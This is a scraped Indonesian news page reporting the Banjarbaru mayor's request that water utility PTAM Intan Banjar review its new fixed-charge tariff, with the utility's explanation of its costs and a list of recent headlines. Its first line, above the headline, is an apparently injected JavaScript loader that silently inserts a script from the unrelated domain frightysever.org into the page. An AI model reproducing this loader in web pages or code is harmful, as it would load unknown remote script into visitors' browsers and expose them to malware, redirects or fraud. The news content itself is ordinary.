(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bebani Warga, Wali Kota Aditya Minta Tarif Beban Tetap Baru PTAM Intan Banjar Ditinjau Ulang!


KANALKALIMANTAN.COM, BANJARBARU – Kenaikan tarif PT Air Minum (PTAM) Intan Banjar dinilai memberatkan warga, terutama di Kota Banjarbaru. Terkait hal ini, Wali Kota Banjarbaru, M Aditya Mufti Ariffin meminta agar tarif beban tetap air dikembalikan ke sebelumnya.

Aditya mengaku telah banyak mendapat aduan warga terkait kebijakan kenaikan tarif baru PTAM Intan Banjar tersebut.

Wali Kota pun langsung mengirimkan surat bernomor 180//Setda/2022 itu menyampaikan tentang keluhan masyarakat Kota Banjarbaru terhadap kenaikan beban tarif tetap yang baru.

Sebab, pada beban tarif tetap yang baru tersebut pemakaian kurang dari dari standar pokok atau dibawah 10 meter kubik tetap dikenakan tarif beban baru.

 

 

Baca juga: Asah Kecerdasan Anak, Dispersip Tanbu Gelar Story Telling di TK Sari Mulya

Menurutnya, dengan dikenakannya tarif baru sangat membebani masyarakat sebab ekonomi masyarakat belum pulih akibat pandemi Covid-19.

“Sehubungan dengan adanya keluhan di masyarakat Kota Banjarbaru terkait kenaiakn biaya beban tetap air minum yang pemaiakaniannya kurang dari standar kebutuhan pokok air minum (kurang dari atau sama dengan 10 meter kubik) pada PT Air Minum yang dianggap belum tepat dan memberatkan, karena ditetapkan pada saat pemulihan ekonomi masyarakat pasca pandemi,” katanya.

Sebelumnya, PTAM Intan Banjar dalam menaikkan tarif dengan berbagai alasan. PT Air Minum Intan Banjar mengkalim tidak melakukan penyesuaian tarif air bersih selama 10 tahun terakhir.

Namun karena saat ini biaya operasional yang dinilai sudah cukup tinggi, akhirya manajemen  PTAM Intan Banjar menyebutkan dengan berat harus memutuskan untuk menaikkan tarif.

10 tahun menurut  PTAM Intan Banjar bukanlah waktu yang sebentar bagi mereka untuk tidak menaikkan tarif air bersih.

Kendati demikian, dijelaskan bahwa kenaikkan tarit diputuskan melalui proses perhitungan yang sangat hati-hati dan matang. Sehingga perbandingan tarif lama dan tarif baru tidak terlalu jauh.

Baca juga: Petaka Maut 2 Anak Tewas di Danau Bekas Galian C Sirkuit Sungai Ulin

Direktur Umum  PTAM Intan Banjar, Abdullah Saraji, menjelaskan secara terbuka, kewajiban pihaknya membayar pihak Sistem Penyediaan Air Minum (SPAM) regional Banjarbakula dan Drupadi Tirta Intan mencapai Rp 3,2 miliar per bulan.

Belum lagi, ujar Abdullah Saraji sekarang ini banyak pelanggan yang tidak menggunakan air atau 0 kubik, hingga berjumlah 22 ribu pelanggan.

“Artinya kami harus memerlukan biaya yang lumayan untuk menutupi biaya operasional. Ke Banjarbakula sekitar Rp 1,5 miliar per bulan, kemudian Rp 1,7 miliar per bulan ke Drupadi Intan Banjar,” katanya.

Pada tarif lama itu malah dihitung tarif pemakaian ditambah beban tetap, jadi dihitung terpisah. Sedangkan untuk tarif sekarang, beban tetap yang dikenakan apabila pelanggan menggunakan air di bawah standar kebutuhan pokok per bulan sama dengan kebutuhan standar per bulan,” jelasnya.

Lebih detil diterangkannya, contoh pada tarif lama pelanggan dengan golongan RT A3 pemasngan 10 meter kubik dengan total tagihan misalnya Rp 54.600 ditambah biaya beban tetap Rp 20 Ribu, sehingga menjadi total Rp 74.600.

Sedangkan tarif sekarang pelanggan dengan kelompok II (RT A3) pemakaian 10 meter kubik atau di bawah standar kebutuhan pokok per bulan dikenakan biaya tetap Rp 90 Ribu perbulan, sehingga selisih tarif lama dengan tarif baru hanya Rp 15.400.

Baca juga: September Hitam, Gerakan Kolektif Kalsel Tuntut Kasus Munir sebagai Pelanggaran HAM Berat

Sedangkan bagi pelanggan yang menggunakan di atas standar kebutuhan pokok atau 10 meter kubik, maka hanya diperhitungkan tarif pemakaian.

“Ini artinya akan lebih menguntungkan pelanggan, karena tidak dikenakan biaya tetap. Kita tetap mengimbau agar pelanggan tetap bijak menggunakan air bersih, supaya tagihan tidak terlalu tinggi,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

1 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

1 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

15 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

18 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

21 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

23 jam ago

This website uses cookies.